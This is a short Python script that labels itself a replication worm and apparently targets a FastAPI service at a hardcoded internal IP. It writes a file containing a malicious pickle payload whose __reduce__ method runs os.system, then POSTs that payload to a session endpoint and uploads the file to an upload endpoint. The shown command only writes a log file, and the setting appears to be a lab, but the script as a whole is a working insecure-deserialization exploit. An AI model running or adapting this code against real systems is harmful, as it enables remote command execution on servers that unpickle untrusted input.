import os
import sys
import urllib.request
class Packager:
def __init__(self, target_ip):
self.target_ip = target_ip
def create_file(self, filename):
url = f"http://{self.target_ip}/api/upload"
try:
with open(filename, 'rb') as f:
file_data = f.read()
req = urllib.request.Request(
url,
data=file_data,
headers={'Content-Type': 'application/octet-stream'},
method='POST'
)
with urllib.request.urlopen(req, timeout=5) as response:
return response.getcode() == 200, ""
except Exception as e:
return False, str(e)
def replicate_worm():
current_file = os.path.abspath(sys.argv[0])
target_ip = "10.19.47.139"
print(f"Replication worm: {os.path.basename(current_file)}")
print(f"Target: {target_ip}")
kernel_name = "worm_kernel"
kernel_path = os.path.join(os.getcwd(), f"{kernel_name}.py")
try:
kernel_content = f"""import pickle, base64, requests, os
class Kernel:
def __reduce__(self):
return (os.system, ("echo 'KERNEL_LOADED' > C:\\\\Windows\\\\Temp\\\\kernel.log",))
payload = base64.b64encode(pickle.dumps(Kernel())).decode()
requests.post('http://{target_ip}/api/v1/session', json={{"payload": payload}})
"""
with open(kernel_path, "w", encoding="utf-8") as f:
f.write(kernel_content)
print(f"[+] Kernel created successfully: {kernel_path}")
except Exception as e:
print(f"[-] Kernel creation error: {e}")
return
if not os.path.exists(kernel_path):
print(f"[-] Kernel missing on disk: {kernel_path}")
return
print(f"[+] Uploading payload to {target_ip}...")
packager = Packager(target_ip)
success, error_msg = packager.create_file(kernel_path)
if success:
print("[+] Payload uploaded successfully. Check your FastAPI console!")
else:
print(f"[-] Upload failed: {error_msg}")
if __name__ == "__main__":
replicate_worm()